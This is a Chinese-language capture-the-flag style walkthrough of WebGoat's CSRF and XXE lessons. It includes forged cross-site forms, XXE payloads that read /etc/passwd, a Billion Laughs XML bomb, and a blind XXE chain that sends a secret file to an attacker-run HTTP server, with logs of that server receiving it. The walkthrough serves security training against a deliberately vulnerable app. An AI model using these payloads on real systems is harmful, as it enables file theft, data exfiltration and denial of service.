WebGoat全通关:A5-Security-Misconfiguration

Cross-Site Request Forgeries (CSRF) #

CSRF 利用了:

  1. 服务端对客户端的信任
  2. 客户端对服务端的信任
  3. 触发 HTTP 请求可能会有的副作用
  4. 通过数据交换改变 HTTP 连接的状态(认证或基于认证的动作)

CSRF 的攻击场景比较受限,一般是在其它用户的浏览器上

也就是说,攻击者再怎么自己抓包改包都没有意义!

CSRF 的精髓在于最大化利用受限的页面资源来接近真实请求的效果,并让他人触发

基本方式大致有:

  • HTTP form 元素(最传统)
  • JavaScript fetch 接口
  • JavaScript XMLHttpRequest (XHR)

做 CSRF 攻击时需要明确 Origin 的概念:

源就是协议、地址、端口的组合,一旦三者有一者不同,就可以看作不同的源

发起请求时,源被浏览器设置为用户主动访问的站点(例如在 CSRF 钓鱼邮件中,源就是邮箱网站)

CSRF 是跨源的请求,因此会受到浏览器对跨源请求的限制

举例来说,源站可以在响应中添加跨源请求策略 (CORP) 头,以白名单的形式限制跨源请求

当然,跨源请求的源是不可预知的,被请求站不可能信任所有的第三方

所以 HTTP 提供了更优雅的做法:被请求站在响应中添加访问控制头(例如 Access-Control-Allow-Origin),浏览器会检测源站是否在这些控制头允许的范围内,如果不然,将拒绝提供返回的资源

当然 CSRF 往往不是为了使用资源而是为了改变被请求站状态,只要被请求站处理请求就算成功

所以对于大部分请求,XHR 和 fetch 的实现方式是先发送一个不改变状态(OPTION 方法)的试探 (preflight)

如果被请求站的响应中拒绝了请求,则浏览器也会拒绝继续跨源

但是这并不能从根本上防御 CSRF:

所以防御 CSRF 的根本办法是使用 anti-CSRF token,每次请求中都检查并刷新 token

令牌可以从 Cookie 衍生,然后放在自定义请求头中,也可以放在 GET 请求响应里

但注意这样的 Cookie 不能是 http-only 的不然前端脚本无权读取,不过不用担心 Cookie 被 CSRF 脚本窃取(还记得 CSRF 是跨源的吗)

PS: 请不要重用令牌 Cookie 和会话 Cookie,因为会话 Cookie 应当总是 http-only 的(回顾一下 XSS)

不管是跨源策略也好还是令牌也好,是否存在 CSRF 取决于站点自身的配置,因此 WebGoat 将 CSRF 归类为 Misconfiguration

在下面的实验中,请将自己想象成一个正在访问其他网站的、一无所知的用户

实验一:POST form #

通过 CSRF 触发网页上的 Submit 拿到 flag

审查元素并复制表单源码,将 action 改为绝对的 URL(因为要跨源)

伪造一个页面(模拟 CSRF)

<html>
  <head></head>
  <body>
    <form
      accept-charset="UNKNOWN"
      id="basic-csrf-get"
      method="POST"
      name="form1"
      target="_blank"
      successcallback=""
      action="http://127.0.0.1:8080/WebGoat/csrf/basic-get-flag"
    >
      <input name="csrf" type="hidden" value="false" />
      <input type="submit" name="submit" />
    </form>
  </body>
</html>

在相同的浏览器中用 file:// 访问并点击按钮即可

实验二:绕过 anti-CSRF token #

审查元素可以发现一个 token

试了几次之后发现这个 token 是不会变的,一直是 2aa14227b9a13d0bede0388a7fba9aa9

所以和实验一一样造一个相同的 form 即可

上面两个实验可以用 fetch 和 XHR 做吗?

答案是不行的,两个请求都需要带着 WebGoat 会话 Cookie 做来模拟真实情况,而会话 Cookie 是有 http-only 字段的,不能通过脚本访问

实验三:对 RESTful 接口 CSRF #

这个实验需要对一个 POST JSON 的接口 CSRF

首先由于要带会话 Cookie,自然是不能使用 fetch 和 XHR

而 JSON 的格式也不符合 POST 表单,该怎么办呢?

如果将表项的 value 删掉并把 name 设置为 JSON,可以看到反序列化失败

这里有两个问题

  • 表单被 URL 编码,而接受 JSON 的接口不会解码
  • 虽然 value 被置空,但表单的格式中存在一个等于号

针对这两个问题修改 POST form

  • 将 enctype 设置为 text/plain 防止数据被编码
  • 将 JSON 一部分填写在 name 中,另一部分填写在 value 中,用引号包裹等于号!
    <form
      name="xx"
      enctype="text/plain"
      action="http://127.0.0.1:8080/WebGoat/csrf/feedback/message"
      method="POST"
    >
      <input
        type="hidden"
        name='{"name":"'
        value='WebGoat","email":"webgoat@webgoat.org","message":"WebGoat is the best!!"}''
      />
      <input type="submit" value="Submit feedback" />
    </form>
    <!--
    <script>
      document.xx.submit();
    </script>
    -->

想要自动提交可以用 document.xx.submit()

最后一个实验:CSRF 登录 #

举例来说:攻击者注册一个谷歌账号,然后通过 CSRF 使得受害者在浏览器上以这个账号登陆谷歌

这样攻击者就可以受害者不知情的情况下知道受害者的搜索记录,甚至是保存的密码

实验很简单,就是首先模拟攻击者,注册一个账号

然后模拟受害者,想以原来的账号点击按钮,却因为 CSRF 登陆了攻击者注册的账号(这里手动登录一下就可以)

然后就以攻击者注册的账号点击了按钮,这个行为显然被攻击者窃听到了

XXE #

众所周知,XML 本质上是对元素组织结构的定义

只要符合架构,不论元素是什么,都可以被称作“完备的”(well-formed)

而 HTML 比起 XML 多了对元素的规定

比如所有的 HTML 都由 <html> 包裹一个 <head> 一个 <body> 组成,再比如 <p> 就在 DOM 上定义了一个段落,而 <pp> 就是非法的

这时候下面的定义就是很合理的了:

如果某 XML 中的元素和它们内部的属性都符合某种规定,那么这样的 XML 被称作“合法的”(valid)

这种规定被叫做 DTD(Document Type Definition, 文档类型定义),一般写在 XML 开头

理论上讲,可以通过定义 DTD 延拓出各种标记语言

DTD 基本上由三种东西组成

  1. ELEMENT 规定元素的标签和其内容的类型 类似语法
  2. ATTLIST 规定某元素应当有什么样的属性列表
  3. ENTITY 实体,类似宏定义,可以在文中被引用

拿 WebGoat 的例子来说

DTD 的定义是这样的:<!DOCTYPE type [ DTD ]>

HTML 开头的 <!DOCTYPE html> 也预示着这是一个 HTML 文件

DOCTYPE 也可以引用一个外部文件:<!DOCTYPE type SYSTEM "a.dtd">

而实体的定义和它很像,也可以引用一个外部文件:

<!ENTITY copyright SYSTEM "https://example.com/copyright">

在文中使用实体 a 的语法:&a;

这些外部引用的实体就叫做 XXE (XML eXternal Entity)

HTML 中的 &nbsp; 其实就是对预定义实体 nbsp 的引用(表示一个空格),除此之外的预定义实体还有很多,用于表示各种特殊字符

XML 解析器一般会把文档类型解析成一个类,而 XML 文件会被看作这个类的一种序列化

所以严格来讲 XXE 并不是一个漏洞,这就是为什么它被分类为 Misconfiguration

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE author [
  <!ENTITY js SYSTEM "file:///etc/passwd">
]>
<author>&js;</author>

XXE 的防护方式也很简单,直接禁掉就好了

这是 Spring 中的例子

  XMLInputFactory inputFactory = XMLInputFactory.newInstance();
  inputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
  inputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

第一个实验:泄漏根目录文件列表 #

抓包可以看到评论是以 XML 的形式传递的

直接对它进行改包

<?xml version="1.0"?><!DOCTYPE comment [ <!ENTITY foo SYSTEM "file:///"> ]><comment><text>&foo;</text></comment>

第二个实验 #

这次 POST 使用的 Content-Type 是 JSON,不过这次向我们展示的是开发者只考虑了 JSON 的情况

直接把 Content-Type 换成 XML,payload 同上就可以过关

Billion Laughs/XML Bomb #

实体的引用和宏展开很像,所以理论上指数爆炸是有可能的

下面就是经典的 XML DoS 攻击的例子,也叫 Billion Laughs

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

第三个实验:盲打 #

回归正题,实战中的 XXE 往往是没有回显的

但是对外部资源的引用至少能够提供 SSRF 的机会

这里要先展示一个新的语法:参数化实体

<!DOCTYPE root [
  <!ENTITY % bar SYSTEM "http://example.com/a.dtd">
  %bar;
]>

有时候部分 DTD 的定义存在于外部的链接中,而在 DOCTYPE 里直接引用外部文件作为 DTD 的方式显然不符合需求

因此就需要把这个链接中的文件暂存在一个实体中,再释放并执行定义

这样的实体需要用 % 作为前缀,对参数化实体的释放也需要使用 % 打头的语法

这个特性看起来方便,却极大丰富了 SSRF 的攻击向量,给盲打提供了可能

实验需要获取 /home/webgoat/.webgoat-2025.3//XXE/webgoat/secret.txt

基本思路和上面差不多,首先开一个 HTTP 服务

虽然没有回显,但是可以把 flag 储存在一个实体中

<!ENTITY % foo SYSTEM "file:///home/webgoat/.webgoat-2025.3//XXE/webgoat/secret.txt">

然后通过 GET 请求把内容藏在参数中发出去(这是盲打的很常见的做法)

<!ENTITY % fuck SYSTEM 'http://172.17.0.1:8888/?data=%foo;'> %fuck;

然而按照 XML 的规定,SYSTEM 中的 % 不会解析

172.17.0.3 - - [25/Mar/2025 03:17:53] "GET /?data=%foo; HTTP/1.1" 200 -

这里有一种非常巧妙的绕过方法:再套一层

% 会在第一层解析,而到了第二层时已经是解析好的了

<!ENTITY % barz "<!ENTITY &#x25; fuck SYSTEM 'http://172.17.0.1:8888/?data=%foo;'>"> %barz; %fuck;

注意这里里面第二个 % 要编码为 &#x25 否则会解析错误

组合上面的 payload 会发现又报错,原因是存在 % 的嵌套(非 SYSTEM

不过将第二段实体放在外部文件中就可以绕过

<!ENTITY % bar SYSTEM "http://172.17.0.1:8888/xxe.xml"> %bar;

如果后端是 PHP 也可以这样来规避一些编码问题

<!ENTITY % foo SYSTEM "php://filter/convert.base64-encode/resource=/home/webgoat/.webgoat-2025.3//XXE/webgoat/secret.txt">

最终的文件和 payload

<!ENTITY % barz "<!ENTITY &#x25; fuck SYSTEM 'http://172.17.0.1:8888/?data=%foo;'>"> %barz; %fuck;

<?xml version="1.0"?><!DOCTYPE a [ <!ENTITY % foo SYSTEM "file:///home/webgoat/.webgoat-2025.3//XXE/webgoat/secret.txt"> <!ENTITY % bar SYSTEM "http://172.17.0.1:8888/xxe.xml"> %bar; ] ><comment><text>&foo;</text></comment>
$ python -m http.server 8888

Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
172.17.0.2 - - [15/Apr/2025 02:50:24] "GET /xxe.xml HTTP/1.1" 200 -
172.17.0.2 - - [15/Apr/2025 02:50:24] "GET /?data=WebGoat%208.0%20rocks...%20(GIwipFTRjI) HTTP/1.1" 200 -

WebGoat 8.0 rocks... (GIwipFTRjI)